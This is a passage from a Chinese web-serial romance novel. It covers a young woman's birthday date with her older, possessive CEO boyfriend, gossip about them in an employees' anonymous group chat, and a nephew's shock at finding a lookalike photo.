凌胜估计都没发现,不然也不会評论她的抖音。 哎。 比起周廷之做了这么离谱的事,陶欣更叹服自己,她大概是习惯了,所以内心异常的平静,就像被小猫不经意的抓了一下,既没出血,也没破皮,根本不想为了这点小事去教训小猫。 回去看看抖音,才这么一会的功夫,点赞倒真不少,评论比点赞还多。 【看到开头:我嘞个一窝醜猫。看到结尾:我嘞个豪门千金少爷啊】 【十二万的沙发当猫抓板,今天我就在这站岗了!看看谁敢说我家大小姐大少爷长得丑!这叫长得有福(三声)!】 【这一窝猫怎么似曾相识呢,中间那只长得好像xx最近刚领养的平安果[图片]】 【我嘞个一窝少爷小姐啊】 【媽媽你把我落下啦,我是小六啊[丑猫图片]】 【妈妈你把我落下啦,我是老七啊[丑猫图片]】 【我笑死,评论区丑猫大合集】 虽然網友们的评论都挺有意思的,但看他们一个劲说陶剩剩和周美美长得丑,陶欣还是有点不是滋味,忍不住回复:【不丑啊,现在就是太小了,以后长开就好了】 【还是祝您早日想开吧】 網友一针见血的毒舌,干脆利落的回复,愣是把陶欣给气笑了。 她用力敲击屏幕:【我觉得,不能用人的审美来评价小猫,就像老虎,你能因为它长得壮就说它丑吗?】 【人美心善的小姐姐,白猫在猫界也是……】 【我家孩子能当童模系列】 【家人们别说了,妈妈要碎了】 【就是啊,干嘛一直说人家的小猫丑,就算长得不好看,那也是人家一把屎一把尿养大的啊】 陶欣深以为然的点点头,正要回复,收到了小曼发来的微信,小曼让她不要和网友争论,现在网友戾气太重,稍有不顺心兴许就要扒一扒她,万一扒到管理局要出手干预的程度,肯定是要直接删除她的账号,陶欣就没办法像现在这样分享小猫日常了。 小曼说的很有道理,陶欣回了她一个小猫点头的表情包,并且保证以后绝对不会在网络上和人吵架,会保护好自己的隐私。 小曼回了陶欣几个大拇指,夸陶欣是乖宝宝。 似乎是突然想起明天是陶欣的生日,又在群里提前祝陶欣生日快乐,一个人祝福,自然大家都祝福。 陶欣一一回复。 而周廷之在二楼书房,盯着客厅的监控。 陶欣已经坐在沙发上用手机打了很久的字,很明显是在和人聊天。 是孟和光吗。 孟和光凭什么能让她高兴。 难道就只是因为年轻? 周廷之静静地坐在电脑前,等着陶欣收起手机带着两只猫上楼,才关掉电脑,也往楼上走。 刚刚好在楼梯拐角处遇见。 “欸,这么巧,你忙完啦?” “嗯。” “明天得去公司吧?” “上午去,最多两点就回来了。” 陶欣一手一只小猫,朝着他笑:“那太好啦,我也下午两点回来,我们两个去拍生日写真好不好?然后再去吃饭看电影,最近新上了一部电影,小曼强烈安利我去看呢。” 陶欣计划着明天的约会。 她才不会因为周廷之犯神经就破坏自己一年仅有一次的生日。 第49章 第49章周念的小后妈总不能是他…… 陶欣生日这天是周二,是二零二一年的二月二日,也是华视總部年前最后一个正式的工作日。 一早,大家都是朝气蓬勃的来上班。毕竟最后一个工作日了,做一做年终總结,领一领新年福利,清扫一下工位卫生,再给小花小草浇浇水,施施肥,差不多也就可以下班了,相当于是白赚一天的工资,光是想想都觉得特开心。 可对于一部分难免和老板近距离接触的员工而言,这最后一个工作日却是极其煎熬。 【我请问,ztz早上起来不小心吃[屎]了吗?】 【受不了受不了,我刚才去他办公室,他看我那眼神,就像我抱他儿子跳井了一样】 【啊?有这么夸張吗?song还通知我们待会上楼开会,说的我都不敢去了】 【别紧張,誰还没有个心情不好的时候,他又不会拿我们当出气筒,嘻嘻嘻,最后一天上班,我会原谅全世界[幸福]】 【刘姥姥是吧,我記住你了,待会别换昵称啊,誰换昵称誰是狗】 【機关算尽太聪明,反误了卿卿性命,等着瞧吧王熙凤,我说了,我会原谅全世界[幸福]】 宋秘书一直在这个匿名群里,只是极少发消息,看着会原谅全世界的“刘姥姥”,想到今天周廷之的状态,笑着回复了一句:【@刘姥姥祝你好运】 十分钟后,各部门總监主管都赶到十五楼会议室。因为明天就放假了,大家心情都很好,见面有说有笑的打招呼,有的讨论假期安排,有的讨论公司福利,气氛一片祥和。 直至周廷之推门进来,偌大的会议室里一瞬间就安静了。 明眼人都能看得出来,周廷之情绪非常糟糕。正如刘姥姥所说,谁还没有个心情不好的时候,周廷之是个很有原则的人,不会把自己的情绪带到公事上,更不会拿谁当出气筒。 甚至在会议即将结束的时候,对预备过年期间结婚的两位主管分别道贺,表示即便自己没时间参加婚宴,也会请人送去新婚礼物。 两位主管诚惶诚恐的道谢。 会议结束后,宋秘书抽空看了眼匿名群,果然热闹非凡。 【天杀的ztz,这个会开的我真难受啊,我第一次体会到什么叫如坐针毡,那滋味,仿佛当年第一次去贾府……】 【姥姥莫不是忘了,你初来贾府,我还给你二十两白银,他ztz给你什么?只有来自深渊的凝视】 【他到底咋了,我头一次见他这样】 【哎,恋愛中的男人,往往都控制不了自己的情绪】 【所以是被甩了?】 【不可能是被甩了,我有个朋友说ztz今晚又预定了小老板娘愛吃那家餐厅,还订了XX酒店的生日蛋糕,多半就是小老板娘生日】 【我说句难听的,他这状态不像生日,像忌日】 【有没有一种可能,是ztz单方面要给小女朋友过生日,小女朋友去不去还两说呢,要不然他今天怎么会是这种状态,我觉得还是被甩了比较合理】 【哎呀我滴妈妈啊,我刚才在旁边都替那俩主管难受,不知道的还以为他俩挖了ztz墙脚,一个要娶ztz的白月光,一个要娶ztz的朱砂痣】 【哈哈哈哈哈哈哈哈爆笑如雷了】 【我现在真不懂ztz了,快四十的人了,能挂相挂到这种程度,堂堂hs创始人,讓一个二十出头的小姑娘玩的跟狗一样[微笑]】 【↑梦女来了】 【我梦他爹妈都比梦他强,就ztz这种状态,你要说他女朋友脚踏三条船被他捉奸在床,那我可以理解,否则他就是有病】 【那咋啦,脚踏三条船捉奸在床又咋啦,晚上还不是得屁颠屁颠去给人家过生日[捂嘴笑]】 【%@#%$*……】 【妈耶,真不怪梦女破防,我都不敢想我蒸煮这样我得死多少回】 【你这人真搞笑,骂我有啥用啊?ztz挂相跟人家小姑娘有啥关系?人家怎么就脚踏三条船被捉奸在床 了?】 【笑死,你在这装什么好人?】 【那咋啦?ztz咋啦?hs创始人咋啦?就是把他当狗玩咋啦?他还不是该跪舔就跪舔?好看爱看,就是这个爽[捂嘴笑][捂嘴笑]】 【好了,别吵了别吵了,再吵禁言了】 【所以ztz到底被没被甩啊,我好难受啊啊啊啊,偏偏明天就放假了,要等年后回来才能知道结果,这比杀我了还难受啊,我就想吃个瓜,为什么——】 【啊啊啊啊啊啊太痛了——】 匿名群里的卧底看着聊天记录,犹豫半晌,没有轉发给周廷之。她也不傻,老板虽然一贯大度,不在意员工私下的一些言论,但今天周廷之明显是低气压到了极点。她做卧底的初心可是为了成为老板的心腹,以此升职加薪,没必要在这种时候凑过去拱火,万一真触了霉头,周廷之从她入手把匿名群里的人一个个挖出来,那她在公司里还怎么混啊。 卧底没有把聊天记录转发给周廷之。 事实上她就算轉了,周廷之这会也没有闲情逸致看。 中午十二点了。 陶欣去陶书华家吃午饭,大概已经到了开饭的时间。 周廷之看着手機,他知道陶欣一定会在吃饭前拍照片给他,如果今天要发庆生的朋友圈,大概率会和陶书华夫妻合照,以陶欣的习惯,会把合照和饭菜的照片一起发给他。 周廷之毫不怀疑陶欣会因为和大哥大嫂一起过生日,太快乐,就忘記他。他等待着,时间一分一秒的过。 十二点二十,陶书华家开饭了。 陶欣发来一張餐桌的照片,有她爱吃的雪蟹,糖醋排骨,白灼虾,满满当当一大桌菜,都是大嫂亲手做的,非常用心,很有家的味道。 紧接着是她戴着雪镜的照片。 陶欣脸很小,唇瓣偏丰润,有一颗漂亮的唇珠,雪镜遮挡住那双具有亲和力的爱笑的眼睛,整个人看起来更精致,贵气,有淡淡的冷感。 最后一張,自然是合照。 陶书华卧病在床,行动不便,大嫂和陶欣捧着蛋糕,故意在他的医护床边做出景区打卡的姿势,陶书华表情无奈,显得这张照片格外生动可爱,很古灵精怪。 周廷之看着陶欣,不自觉笑了一下。 可随之而来的却是心口阵阵酸楚。 不出意外,这张合照是出自孟和光的手,在陶欣生日这天,在大嫂预备的家宴上,孟和光內心中出演的角色,绝不会是陶书华的学生,又或是他师父师母的半个儿子。 周廷之慢慢回复,陶欣发来的每一张照片。 【周廷之:[引用]这么一大桌,一早起来就得开始准备了吧,大嫂辛苦了】 【周廷之:[引用]好看,有点酷酷的感觉】 【周廷之:[引用]这好像是你和大哥大嫂的第一张合照,晚点我们去拍写真,正好在照相馆冲洗两张,回头用相框装好给大哥大嫂送去】 【陶欣:欧克欧克!】 【陶欣:不愧是好粥道!】 【陶欣:那我先吃饭啦,家里见~】 陶欣去和家人一起庆祝生日了。 还有孟和光。 可是那又能怎么样呢,陶欣下午还是要和他一起拍情侣写真,晚上还是要和他单独庆祝,吃饭,看电影,回家路过江畔,他在江面上准备了烟花。 “周總。”有人敲门。 “进。”周廷之将手機反扣在办公桌上。 “周总,各部门的新年福利都发放完了,这两份是……” “好,我知道了。” “那周总,没什么事我就先回去了。” “嗯,假期愉快。” “……谢谢周总,也祝您假期愉快。” 因为周廷之的梦女破防和人吵架,又是午休时间,匿名群里已经安静好久了。 而午休时间一过,到了工作时间,立刻有人活跃。 【谁懂啊,ztz现在有种平静的疯感……】 【如果说上午那会他还对这个世界有点念想,现在大概想创亖全世界】 【到底分了没有啊啊啊啊啊我好难受,这简直是对吃瓜群众的折磨】 【其实这事很简单,只要和十五楼的朋友打听一下ztz今晚预订的哪家餐厅,看看小老板娘会不会去就完了,两个人照常庆祝生日问题就不大】 【认真的吗,好奇心也太旺盛了】 【不是,你不觉得ztz这种精神状态照常庆祝生日问题更大吗】 【忍不住了!我知道是哪家餐厅!我高低去一探究竟!】 【这位更是上头】 【建议梦女退群,不是引战,纯属一番好意】 【群主已开启禁言模式】 兹事体大,关于这一部分聊天記录,卧底仍旧没有发给周廷之。当然,她不能否认自己也有一颗想吃瓜的心。 下午两点钟,周廷之准时回了家。琴姨看到他,忙擦了手上的水,把账本和发票拿过来。账本上边都是年前置办的一些东西,物业水电費,两个小时工的薪酬,以及保洁公司来大扫除的費用清单。 周廷之只是扫了一眼:“总账算错了,少加了物业費。” 琴姨一怔,下意识说:“不可能啊,我用计算機一笔一笔加的,算了两遍。” 周廷之笑了笑:“你想按照这个账给我转钱,我也没意见。” 琴姨名义上是家里的阿姨,实际上算半个管家,周廷之每个月月初除了工资还会另外打给她一笔钱,留用于这个月的全部开销,家里花钱的地方不多,基本每个月都有剩余,琴姨为了账目清楚,会把剩下的钱转给周廷之。 如果真的少了一笔物业费,她没算进去,就等于是要自己掏这份钱,琴姨自然是要慎重的,于是又不信邪的拿出计算器重算了一遍。 结果真就多出一笔物业费。 见鬼了吗? 琴姨深吸了口气,连按几下归零,又重头开始算。 陶欣回来的时候她正在那里和计算机疯狂做恨。 “怎么了,这副表情。” “你说这个事情,真见了鬼了,周总回来之前我清清楚楚算了两遍的,明明白白两遍都是六万八千三百九十五,周总回来看一眼,就咬定我少算一笔物业费,我这一算,还真少一笔物业费,两遍都是少这笔物业费,你说怪了吧。” 陶欣凑过去看她的账本,真是密密麻麻,乱七八糟,物业费挤在最下方的小角落里,难怪琴姨两次都疏忽。 而琴姨算完了,彻底服了:“难怪之前我每次给周总看账本,他都是随随便便扫一眼,我还想这对我也太信任了,都不怕我算错的……这人和人真不一样啊,周总这脑子到底是怎么长的,他就看一眼,顶多二十秒,就算的比我这计算机还清楚。” 陶欣被她震惊到无以复加的模样逗笑:“也不看看周廷之是谁,他上大学那会外号可是人肉计算机。” 琴姨也笑,随口说:“没想到周总还跟你讲他大学时候的事呢。” “……对啊,听他说过一次。”陶欣四下张望:“他人呢?不是已经回来了吗?” “好像是上楼洗澡去了。”琴姨后知后觉地说:“我看周总今天可是心情不大好,这都到年根底下了,不会公司 有什么事吧?” 陶欣上了楼,推开房门,浴室里传来吹风机的声音。 周廷之刚洗完澡,只围了一条浴巾,身上的水还没完全擦干,湿漉漉的,显得皮肤特别白嫩,是那种讓人食欲大开的色泽。 陶欣走过去,周廷之从镜子里看到她,立刻关掉了吹风机,为了听清楚她说话。 “哇……好想咬一口。” “你这个眼神,像小狗看到肉骨头。” 陶欣抱住他,在他身上嗅到很甜的味道,是她浴室里水蜜桃沐浴露的味道,是她喜欢的味道。 在吃穿用度方面,周廷之没有喜好,周廷之的喜好完全遵循她的喜好。 她的男朋友,她讓他做什么都行。 幸好她不是太坏呀,要不然肯定把他欺负死了。 陶欣轻轻咬了一口他的手臂,抬起头看着他笑:“快点收拾,这家摄影工作室可不好预定了,我跟人家定的三点钟,迟到就不给拍。” 年轻漂亮的女孩子都喜欢用相机记录自己的青春和成长,一年一次的生日写真也是很有必要的。 两个人去工作室的时候,上一对情侣还没有拍完,工作室拿来相册让陶欣选定风格。 一边翻模特图一边介绍:“这种是比较温馨的日系,这种是复古胶片,这种是比较清爽简约的,没什么背景。”他看了一眼周廷之,出于专业考虑说:“我觉得你们是比较适合拍最近流行的新中式,毕竟其他风格都偏活泼搞怪一点,这位先生应该不太能放得开。” 陶欣点点头:“这套不错,民国风,我喜欢这套衣服和布景。”可是还有点犹豫:“油画风也蛮好的。” 工作人员不好意思地笑笑:“抱歉,你来之前应该了解过了,为了保证顾客和摄影师双方都精力充沛,写真达到最好的效果,我们工作室是不更换妆造的,一天只能拍一套图。” 陶欣只是稍微有点犹豫,听工作人员这样说,立刻选定了那套民国风的写真,并没有为此影响心情。 也不知道刚刚那一瞬间,年龄所带来的自卑感已然将周廷之淹没。 为如此微不足道的一件小事,为一个无关紧要的人,为他随口一句话,一个眼神,还是为相册里那些模特图,从头至尾,都是年轻的男女。 或许都有一些。 但最让周廷之难过的是,陶欣的生日愿望,仅仅是拍一套情侣写真,却要为了迁就他,选择自己并不是那么喜欢的写真风格。 这种感觉就像二十岁时一样,陶欣为了迁就他,勉强自己去吃肠胃根本无法接受的路边摊。 就像二十岁时一样,周廷之告诉自己,心态问题,必须坦然面对,尽快调整,不要被陶欣察觉,让她在你面前时刻顾忌,唯恐不小心刺痛你。 在陶欣面前,周廷之把情绪管理的很好,整个拍摄过程,他完全配合陶欣。 而陶欣看不出丝毫遗憾,似乎这套民国风的妆造就是所有妆造中她最喜欢的一套,中场休息的时候还拉着周廷之一起在布景里自拍,因为觉得随手一拍就很精致,迫不及待地发了一条朋友圈。 李崇仿佛一直拿着手机等她今天发朋友圈似的,立刻评论了一句生日快乐。 周廷之看到李崇的评论,想起跨年夜李崇小作文中那句“希望每年生日照中都有我”,顷刻间忘记了缠在心头的自卑。 他问陶欣:“你每年生日都拍写真?” 陶欣放大那张自拍,仔细欣赏,随口回答:“是呀,我从出生那年就开始拍了。” “和李崇一起拍过?” “……” “真的拍过?” “干嘛呀,今天我生日,你干嘛提以前的事呀。” 的确不应该提。 周廷之看着李崇那条评论,微不可察地深吸了口气。 初吻是和他,第一次拍情侣写真也是和他。周廷之真恨李崇,恶毒的,恨不得他马上去死。 而此刻看着那条评论的不止周廷之,还有李乐泉。 李乐泉愣愣地看了半天,才不敢置信的问周念:【今天你小后妈生日??】 【周念:什么小后妈,难听死了】 【周念:不过你怎么知道的?】 陶欣的朋友圈周念也刷到了,只是单单一张自拍照,根本没提生日。 【李乐泉:哇靠,我还想问我小叔怎么知道的】 【李乐泉:[图片]】 【周念:……那你就问问你小叔啊,问我干什么】 周念其实有点羞耻,他怕李崇是从周廷之口中得知这件事,他怕周廷之在家里说还不够,还跑到外边跟人家说自己的小女朋友哪天过生日……想一想就觉得羞耻。 【李乐泉:我哪敢去触他的霉头啊,我之前不是跟你说过吗,我小叔年年一到这几天就包犯病的,今年好像犯病更严重了】 【李乐泉:我妈刚还让我去他家看看他】 【李乐泉:哎,不跟你说了,我去一趟】 【周念:[挥手jpg.]】 李家人多,虽然都是一母同胞,但亲疏有别,李崇从小就跟二哥关系要好,同嫂子也合得来,哥嫂如此照顾他,他离婚后自然而然就在哥嫂家附近置办了房产。 李乐泉穿上衣服出了门,走路五分钟就到了李崇家。 按门铃,敲门,发微信,均无人回应。 可李乐泉知道李崇在家,他一犯病就这样,缩在家里不理人,惹急了还做出一副要吃人的样子。 要是往年李乐泉也就回去了,不过前段时间李崇喝酒喝到进医院,李乐泉真担心他小叔出什么事。 想了想,试着输入他家大门的密码。 李乐泉之前上来帮李崇拿东西的时候,李崇和他说过一次密码,时间过去太久,李乐泉已经记不清具体数字了,可他记得那个密码正好可以在九宫格上画出一个菱形。 2486、4862、6248…… 试到第三个,门锁叮的一声响,是解锁的声音。 李乐泉推门走进去,客厅窗帘紧合着,没有一丝光,他开了灯,走到卧室门口才看见躺在床上的李崇。 李崇似乎是睡着了,手里还攥着手机。 “小叔,我妈叫你去吃饭,小……” 李乐泉的声音戛然而止。 他屏住呼吸,小心翼翼地拿起床边的照片,借着客厅里传进来的光源仔细甄别照片上的一对男女。 男的毋庸置疑,肯定是他小叔年轻时候,看着也就十八。九岁。 女的…… 这女的…… 李乐泉解锁手机,点开朋友圈,看着陶欣不久前发的自拍照,又看看照片里的女孩。 抛开发型妆容穿搭和年代感不谈……这根本就是一个人啊!!!! 李乐泉懵了。 他终于知道自己为什么一开始看到陶欣就觉得眼熟了。 救命。 谁能告诉他,为什么,他小叔的初恋,和周念的小后妈,共用一张脸…… 卧槽—— 周念的小后妈总不能是他小叔的女儿吧! 所以!他小叔才会知道陶欣的生日!才会祝陶欣生日快乐! 那这样说来……他跟陶欣就算姐弟……周念就是他的……大大大大大外甥?! 李乐泉风中凌乱了好一会,将照片拍下来,发给周念。 【周念:?】 【周念:这谁?】 【李乐泉:我小叔和他初恋……】 【李乐泉:哇靠你小后妈不会是我小叔的女儿吧!!!】 周念看着那张照片,缓缓坐起身,也风中凌乱了。 第50章 第50章ztz你小子能不能舔明…… 李樂泉在极度震惊中,悄无声息的离开了李崇家。 刚一出门,他就拨通了周念的电话,两个人拿着手机,久久不语。 到底是李樂泉先开口:“你上次问……”考虑到陶欣极有可能和他有血缘关係,“小后媽”三个字对李樂泉而言简直如鲠在喉,他憋了好一会,才很生硬地说出陶欣的名字:“你上次问陶欣,她跟我小叔怎么加上的微信?” “她就说,在露营地见到了,顺手加个微信。” “你看吧!我小叔好端端干嘛去加你爸女朋友的微信啊!又不是要挖你爸的墙角!肯定是一看到陶欣那张臉就产生了怀疑,所以……” “你等等……”周念终于冷靜下来,制止了李樂泉如此无稽的联想:“也许只是长得像,算算时间,你小叔见到陶欣怎么也得两三个月了,如果真是你说的这样,他能一点动 作都没有?” 李乐泉沉默了一下,不得不承认周念说的也有道理,可是…… “那长得也太像了吧,我怎么看怎么一模一样。” “以前的老照片,太糊了,妆又那么浓,我仔细看了一下,其实还是有差别的。” “废话!当然有差别了!又不可能是同一个人!” “……” “陶欣有提过她爸媽的事吗?” “你这么一说,她在国內有个远房的堂哥啊,人家有爸爸那边的亲戚,怎么会跟你小叔扯上关係。” “保不齐是继父家的亲戚,跟继父姓呢。”李乐泉笑起来:“你好像很怕陶欣是我小叔的女儿啊,怕自己以后得管我叫小舅舅?” “滚啊,这种事是能开玩笑的吗。” “我没开玩笑,你想想啊,现在的情况无非就是三种可能性,第一,纯属巧合,纯属撞臉,第二,我小叔是个渣男,辜负了陶欣她媽,所以没臉认这个女儿,第三,我小叔觉得陶欣现在过得很好,不想破坏她现在平靜的生活。” “……”周念沉默了一会说:“你在这胡乱猜测有什么用,不如直接去问问你小叔。” “如果是后两种可能,他也不会承认啊。” “你小叔不想承认你还刨根问底干什么?就算你小叔真的和陶欣有什么关係,那你跟也没关系,跟我更没关系,我要是你,就装不知道这件事,省得惹出一大堆烂摊子自己收拾不了还得你爸媽给你擦屁股。” 一向笨嘴拙舌的周念忽然说出这么长一大串道理,把李乐泉听得都愣了神。 不过,确实,这种事不是他能随便掺和的。 “行啊你,不愧是S大的高材生,平时看着傻乎乎的,关键时刻脑子真够用啊,属实是一语惊醒梦中人。” “你才知道吗。” 两人闲聊几句,把电话挂了。 周念静静坐了片刻,又点开李乐泉发来的那张照片。 他阻止李乐泉刨根问底,不单是害怕成为李乐泉的外甥。其实周念也说不上来为什么,像是冥冥之中的一种直觉,他似乎触碰到一个巨大的秘密。 在周家,关于照片的谜团有很多。 周念抬眸看向床头柜上妈妈的照片,那是一个看上去很清秀的女人,眉目间却有着一股争强好胜不服输的韧劲。 爷爷奶奶说,家里的相册丢了,他妈妈这张照片是从他外公外婆家拿来的,結婚前的照片。 周念很小的时候,这张照片就摆在他床头。 或许没人知道,拆开陈旧的老相框,照片背面还龙飞凤舞的写着三个字——赠廷谦。 那三个字意味着什么,倘若妈妈还在世,他大可以缠着妈妈追问。 可周念从懂事起那天起就清楚的认识到,他没有妈妈,他和其他孩子不一样。 爷爷奶奶虽然疼爱他,但偶尔也会觉得他拖累了父亲的婚姻,因为他还小,无所顾忌的在他面前唉声叹气,父亲虽然每次回来看他都会带一车的礼物,但也只是短暂的抱一抱他,并不会过多的亲近他。 家里的亲戚们,总是用异样的目光看着他,总是在他背后窃窃私语,他靠近的时候,又突然大声说起闲话,东拉西扯,像给他某种暗示,引诱他去寻求真相。 周念没有寻求真相的勇气,他的童年,像被一只大手高高托举在空中,始终处于一种摇摇欲坠的不安中,仿佛一步踏错就会突然间从高处跌落,粉身碎骨。 直到他慢慢长大,他的外表和周廷之越来越相似,人人都说他长得像爸爸,周念的心才终于一点一点安定下来。 他就是周廷之的孩子,就是爷爷奶奶血脉相连的孙子。 可关于那三个字,家里丢失的照片,爷爷奶奶的叹息,亲戚们异样的目光和窃窃私语,这些谜团像一根根丝线,始终缠绕着他心里。 周念不敢触碰。 他的胆怯才是他阻止李乐泉的根本缘由。 有些事不探究,不好奇,就不会发生危险,可以永远保持安全的现状,这样实在没什么不好。 …… 陶欣二十一周岁的写真拍摄很成功,她跟摄影师说比她二十岁的写真照好看一千倍,摄影师还觉得她马屁拍的太夸张。 天晓得陶欣是多么真情实感。 离开工作室的时候已经是下午六点钟。 陶欣随手挽上长发,仰着臉,鼻子一皱,朝周廷之撒娇说:“好饿哦,幸好只拍一套图,不然累都累死了。” 周廷之笑笑,将她遗落在耳畔的一绺发丝整理好:“走吧,去吃飯,餐厅离这不远。” “不远是多远?” “嗯……这个时间有点堵车,大概三十分钟?” “三十分钟,OK的。”陶欣说:“我来开车,我自己开车的话,堵车就不会很烦。” 陶欣喜欢自己掌控方向盘,除了能见度低的恶劣天气,他们俩单独出门基本上都是陶欣开车,周廷之坐副驾。 说老实话,周廷之很喜欢坐陶欣的副驾,那感觉就还和十八年前一样。记得当时学校里不知道多少男生羡慕嫉妒他,明里暗里骂他是吃軟飯的小白脸。 “周廷之,你想什么呢,那么入神。” “在想上一次有人骂我小白脸是什么时候。” 那段过去是他们俩共同的回忆,陶欣立刻意识到周廷之在想什么,忍不住笑起来:“怎么,你还怀念上啦,现在想让人家骂你小白脸可不容易,得有能欣赏你的富婆大姐姐。” 周廷之说:“我想找个欣赏我的富婆大姐姐应该不难吧?” “哼哼,臭美什么啊。” “你跟小念好的没学,坏毛病倒是学的根深蒂固。” “谁说不是呢,我现在老想哼哼,都是叫他给带坏了。” 陶欣撇了下嘴,不知怎么的,脑袋里忽然蹦出来一个念头,便和周廷之说:“如果当初掉进时空裂隙的是你,是不是这辈子都摆脱不掉小白脸这个称号了。” 如果当初掉进失控裂隙的是他…… 周廷之竟然真的认真思考起来:“嗯,那时候的我穿越到现在,充其量是个朝九晚五的打工人,一个月赚个几千块,就谈不上什么行业风口了,要想开豪车,住大房子,估计只能靠吃你軟飯。” “你这个假设不太对,那时候的你还是蛮有自尊心的,可不会心安理得吃軟飯。” “没办法啊,不吃软饭怎么办,用几千块钱工资养你?让你跟我过苦日子?我应该不会为了那点自尊心就这么自私吧。” “那倒是不会,再说你让我跟你过苦日子,我也不一定愿意啊,那时候三十八岁的就是我了,雪娜说女人到了三十八岁,脑子里就只有智慧,没有爱情。” 周廷之被她幻想自己三十八岁的模样逗笑了。 “笑什么呀,我说的没道理吗?” “有道理,那你不肯跟我过苦日子,我不就只能吃软饭了,现在阶级固化这么严重,赚钱哪有那么容易,何况我还是从二零零二年来的,什么都不懂,也没有朋友,顶多是,不心安理得的吃软饭,委屈求全的吃软饭。” 即便只是一场莫名其妙的凭空幻想,陶欣也很担心幻想中二十岁的周廷之:“不行呀,万一抑郁了呢。” 他怎么会抑郁。 真要是陶欣说的那样,他高兴还来不及。 陶欣三十八岁,而他只有二十岁,那时候,他大概就不用再担心什么陆晨孟和光,不用再像一个惊弓之鸟,时刻关注出现在陶欣身边的每一个年轻异性。 可以用年轻的面孔和身体,完全占据陶欣的视线。 周廷之光是这样想一想,都很羡慕二十岁的自己,恨不得取而代之。 “到了。”陶欣把车停在饭店门口,丝毫没有注意到对面车里突然间振奋起来的都市丽人。 周廷之提着她的包,先下车,站在前边等她。 陶欣紧接着下车。她本就有一米七二的身高,比例又十分优越,气势上并不逊色周廷之,随手 关上车门,径自走进饭店,倒显得提包跟在后面的周廷之有几分亦步亦趋的乖巧。 神秘的都市丽人在震惊中将完整录制的视频发到匿名群里。 【哈哈哈哈哈还真有人去了】 【这AI合成的吧??】 【我滴妈啊,不是吧,ztz你真背着我们在外边给人家当孙子?】 【好好好,在我们面前摆着一张吃[屎]的脸,在人家面前装什么乖乖小甜心,终究是错付了】 【哈哈哈哈哈我就说让梦女退群吧,你们也不想想,就ztz这个性格,平常的行事作风,他能找一个比自己小这么多的小女朋友,本身就已经是突破做人的底线了,他连做人的底线都不要了,那做出再怎么出格的事也是情理之中啊,别说背着我们给人家当孙子,就是当舔狗我都不意外。】 【我不是攻击梦女啊,就事论事】 【确实,你说的也有道理。】 【其实梦女真不用破防,我说句公道话,就从小老板娘开车,ztz自动自觉拎包这个行为上看,小老板娘绝对不是一般家庭出身,她这个长相,身材,年纪,再加上背景,身边那舔狗还不得一波接着一波前仆后继的,咱zz这个岁数能舔到男朋友的位置上,说明zz优秀啊,我们没看错人啊,我们应该为ztz感到骄傲!】 【哈哈哈哈哈哈哈最近这群太好玩了,救命啊我年货还没买呢不想水群了】 【搞笑呢?开个车拎个包这就不是一般家庭出身了?你跟你男朋友出去难道还是你自己拎包?这不是很正常?我看你们是自己代入了吧,脑补的给自己爽到了?不知道谁是梦女】 【真的,不知道谁是梦女】 【倒不用火气这么冲,大家都是吃瓜的,随便讨论一下,有不同意见就好好说啊,别仗着是匿名群就这么肆无忌惮】 【真不是谁代入脑补……其实我一直不敢说,我早就发现小老板娘身份不一般了】 【↑此话怎讲?】 【我经常发一些仅自己可见的微博,那天加班让ztz给气着了,就噼里啪啦写一大堆发上去,过一会才注意到没设置仅自己可见,結果点进去,居然只有两条阅读,相当于我刚发上去就被屏蔽了】 【经我尝试,屏蔽词就是小老板娘的名字,只要打正确那两个字,包被屏蔽的】 【???我去试试】 【小老板娘叫啥来着】 【我回来了家人们……包被屏蔽的……】 【ztz牛逼!!!hs前途无量啊老哥!!!天眼工程万岁!!!我算来对地方了!!!我算跟对人了!!!有这样的老板还愁没有好发展?】 【嗚嗚呜呜呜这不是抱上大腿了吗】 【给梦女们干沉默了】 【ztz你小子能不能舔明白啊?不行赶紧去报个男模培训班吧,请务必伺候好咱们大小姐!】 周廷之并不知道管理局的网络监管系统引发了怎样的误会,当然,知道了也没所谓,对于这种误会他乐见其成。 只要两个人的包间里,陶欣正端着碗小口小口的喝枸杞参鸡汤,大概是被热气熏得,脸上泛着一片浅淡的红晕。 因为过于安静,周廷之问:“晚上只有我们俩,你会不会觉得太冷清?毕竟是过生日。” “不会呀,谁说一定要很热闹很隆重才算过生日?”陶欣不是坐在他对面,而是坐在他身旁,和他说话的时候微微转过头:“我觉得和你在一起吃晚饭就很好了。” “就会哄我。” “真的,刚才在车上说那些话,我一想就很难受,要是十八年见不到你怎么办……” 周廷之捏了一下她软嫩的脸颊:“不怎么办,该谈恋爱就谈恋爱,该結婚就结婚。” “那你怎么不谈恋爱不结婚?” “我不是说过了吗,是没遇到喜欢的,我眼光很高。” 即便给她手机装定位,一分钟看六十次监控,偷偷删她微信好友,替她回复李崇,时不时发神经说一大堆叫人听不懂的疯话,周廷之也从不肯承认这十八年一直在等她。 在她出现之前,这第十八年并不是结束,没有任何一个人可以回答周廷之,未来还有没有下一个十八年。 没有尽头的等待才是最漫长的。 陶欣并不是今天才做出“如果当初掉入时空裂隙的人是周廷之”的这种假设,纵使是面对已知的十八年,她也很害怕。 她不想一个人孤单的生活那么久,不想自己的青春在寂寞中荒废,不想人近中年时才等到过去的爱人。 陶欣很清楚这份等待多沉重,更清楚周廷之不愿让她有负担的珍贵心意。 也许没有周廷之,仍会有其他人爱她,可她已经体验过这世界上最好的爱了。 “我眼光也是很高的。” “……适当降低一点。” 说完,两个人很有默契的结束了这个话题,不愿意再将这个假设深入下去。 吃饱喝足,又去看了电影。 电影虽然是小曼推荐的,但并不是很符合陶欣的口味,她看到二十分钟就迷迷糊糊地犯了困,见周廷之也没精打采的,实在受不了这样浪费时间,拉着周廷之摸黑遁走了。 出了影厅,如释重负。 “误信小曼了,我以为她推荐的电视剧都靠谱,推荐的电影也不会差,万万没想到啊。” “也不能全怪她,我们俩都不爱看这种文艺片。” “那也不能每次来电影院都看动画片啊。” 话音未落,两个人都忍不住笑起来,因为心里都十分清楚自己是真的喜欢看动画片。 又被拍下视频,发到匿名群里,不过这次匿名群里已经没有了争吵,甚至没人再辱骂周廷之。 【不是,姐妹你还在外边蹲着呢?打算跟到啥时候啊?】 【被发现也没关系,失业了可以改行去干狗仔[愉快]】 【ztz不错,我看着给咱们大小姐哄的挺高兴,值得表扬[大拇指]】 【感谢ztz和大小姐让我避雷这电影了,才入场二十分钟就出来了,这得多难看啊】 【你别说ztz这老小子笑起来是有几分姿色,不愧是当年第一校草,难怪能上位成为咱家大小姐的男朋友】 【一天没结婚就一天地位不稳啊】 【这俩人倒都还挺朴实的,约会就吃个饭看个电影】 